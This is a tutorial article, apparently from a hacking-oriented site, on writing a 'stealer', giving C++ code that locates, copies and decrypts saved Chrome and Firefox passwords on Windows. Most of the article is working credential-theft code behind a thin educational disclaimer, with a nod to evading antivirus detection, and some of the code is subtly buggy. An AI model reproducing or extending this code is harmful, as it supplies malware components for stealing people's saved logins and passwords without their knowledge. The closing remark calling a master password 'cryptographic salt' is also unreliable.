Writing a Stealer: How to Extract Chrome and Firefox Passwords Yourself
Disclaimer: All code and information in this article are provided for educational purposes only and to help you recover your own lost passwords. Stealing other people’s credentials or personal data without proper written consent is illegal and punishable by law.
What Are Stealers?
You’ve probably heard of a class of malicious applications called stealers. Their main goal is to extract valuable data from a victim’s system, primarily passwords. In this article, I’ll explain how they do it, using Chrome and Firefox as examples, and provide C++ code samples.
How Browsers Store Passwords
Browsers based on Chrome or Firefox store user logins and passwords in encrypted form in a SQLite database. SQLite is compact and open-source, just like the browsers themselves, which makes our task easier.
The code examples below use CRT and other third-party libraries and dependencies, such as sqlite.h
. If you need a more compact, dependency-free version, you’ll need to refactor the code and adjust your compiler settings accordingly.
What About Antivirus Detection?
Malware authors often advertise that their stealer is not detected by antivirus software. However, modern malware is modular, with each module responsible for a specific task: collecting passwords, preventing debugging, detecting virtual machines, obfuscating WinAPI calls, or bypassing firewalls. Whether a method is detected depends on the final, fully assembled application, not on individual modules.
Extracting Passwords from Chrome
Locating the Chrome Password Database
On Windows, Chrome stores user credentials in the following file:
C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default\Login Data
To work with this file, you either need to close all Chrome processes (which is obvious to the user) or copy the database file elsewhere and work with the copy.
Here’s a function to get the path to the Chrome password database:
#define CHROME_DB_PATH "\\Google\\Chrome\\User Data\\Default\\Login Data" bool get_browser_path(char * db_loc, int browser_family, const char * location) { memset(db_loc, 0, MAX_PATH); if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) { return 0; } if (browser_family == 0) { lstrcat(db_loc, TEXT(location)); return 1; } }
Usage:
char browser_db[MAX_PATH]; get_browser_path(browser_db, 0, CHROME_DB_PATH);
The browser_family
argument allows for future expansion (e.g., 0 for Chrome, 1 for Firefox). SHGetFolderPath
retrieves the local app data folder, and lstrcat
appends the Chrome database path.
Note: SHGetFolderPath
is deprecated; Microsoft recommends SHGetKnownFolderPath
(supported from Windows Vista onward).
Copying and Opening the Database
int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE); if (!status) { // return 0; }
Connect to the database using sqlite3_open_v2
:
sqlite3 *sql_browser_db = NULL; status = sqlite3_open_v2(TEMP_DB_PATH, &sql_browser_db, SQLITE_OPEN_READONLY, NULL); if(status != SQLITE_OK) { sqlite3_close(sql_browser_db); DeleteFile(TEXT(TEMP_DB_PATH)); }
Always close the database and delete the copy if an error occurs.
Extracting and Decrypting Passwords
Use sqlite3_exec
to query the database:
status = sqlite3_exec(sql_browser_db, "SELECT origin_url, username_value, password_value FROM logins", crack_chrome_db, sql_browser_db, &err); if (status != SQLITE_OK) return 0;
The callback function crack_chrome_db
will process each row. Hereโs a simplified version:
int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) { DATA_BLOB data_decrypt, data_encrypt; sqlite3 *in_db = (sqlite3*)db_in; BYTE *dt_blob = NULL; sqlite3_blob *sql_blob = NULL; char *passwds = NULL; int count = 0; while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 ); int sz_blob = sqlite3_blob_bytes(sql_blob); dt_blob = (BYTE *)malloc(sz_blob); if (!dt_blob) { sqlite3_blob_close(sql_blob); sqlite3_close(in_db); } data_encrypt.pbData = dt_blob; data_encrypt.cbData = sz_blob; if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) { free(dt_blob); sqlite3_blob_close(sql_blob); sqlite3_close(in_db); } passwds = (char *)malloc(data_decrypt.cbData + 1); memset(passwds, 0, data_decrypt.cbData); for (int xi = 0; xi < data_decrypt.cbData; ++xi) { passwds[xi] = (char)data_decrypt.pbData[xi]; } // passwds now contains the decrypted password }
Chrome uses the Data Protection API (DPAPI) for encryption, which means passwords can only be decrypted under the same user account that encrypted them.
Extracting Passwords from Firefox
Locating the Firefox Password Database
Unlike Chrome, Firefox profile folder names are randomly generated. However, you can search for the logins.json
file inside \\Mozilla\\Firefox\\Profiles\\
. Hereโs how you can find it:
lstrcat(db_loc, TEXT(location)); const char * profileName = ""; WIN32_FIND_DATA w_find_data; const char * db_path = db_loc; lstrcat((LPSTR)db_path, TEXT("*")); HANDLE gotcha = FindFirstFile(db_path, &w_find_data); while (FindNextFile(gotcha, &w_find_data) != 0){ if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (strlen(w_find_data.cFileName) > 2) { profileName = w_find_data.cFileName; } } } db_loc[strlen(db_loc) - 1] = '\0'; lstrcat(db_loc, profileName); lstrcat(db_loc, "\\logins.json"); return 1;
Now db_loc
contains the full path to logins.json
.
Reading and Decrypting Firefox Passwords
Open the file and read its contents:
DWORD read_bytes = 8192; DWORD lp_read_bytes; char *buffer = (char *)malloc(read_bytes); HANDLE db_file_login = CreateFileA(original_db_location, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);
Firefox uses Network Security Services (NSS) for encryption, with relevant functions in nss3.dll
(e.g., NSS_Init
, PL_Base64Decode
, PK11SDR_Decrypt
, etc.). You can load these functions using LoadLibrary
and GetProcAddress
.
Hereโs a simplified decryption function:
char * data_uncrypt(std::string pass_str) { SECItem crypt; SECItem decrypt; PK11SlotInfo *slot_info; char *char_dest = (char *)malloc(8192); memset(char_dest, 0, 8192); crypt.data = (unsigned char *)malloc(8192); crypt.len = 8192; memset(crypt.data, 0, 8192); PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest); memcpy(crypt.data, char_dest, 8192); slot_info = PK11_GetInternalKeySlot(); PK11_Authenticate(slot_info, TRUE, NULL); PK11SDR_Decrypt(&crypt, &decrypt, NULL); PK11_FreeSlot(slot_info); char *value = (char *)malloc(decrypt.len + 1); value[decrypt.len] = 0; memcpy(value, decrypt.data, decrypt.len); return value; }
Parse logins.json
and decrypt the data using regular expressions and the function above:
string decode_data = buffer; regex user("\"encryptedUsername\":\"([^\"]+)\""); regex passw("\"encryptedPassword\":\"([^\"]+)\""); regex host("\"hostname\":\"([^\"]+)\""); smatch smch; string::const_iterator pars(decode_data.cbegin()); do { printf("Site\t: %s", smch.str(1).c_str()); regex_search(pars, decode_data.cend(), smch, user); printf("Login: %s", data_uncrypt(smch.str(1))); regex_search(pars, decode_data.cend(), smch, passw); printf("Pass: %s", data_uncrypt(smch.str(1))); pars += smch.position() + smch.length(); } while (regex_search(pars, decode_data.cend(), smch, host));
Conclusion
We’ve explored how passwords are stored in different browsers and how to extract them. Can you protect yourself from such password recovery methods? Yes! Setting a master password in your browser acts as cryptographic salt for the password database. Without it, recovering the data is impossible.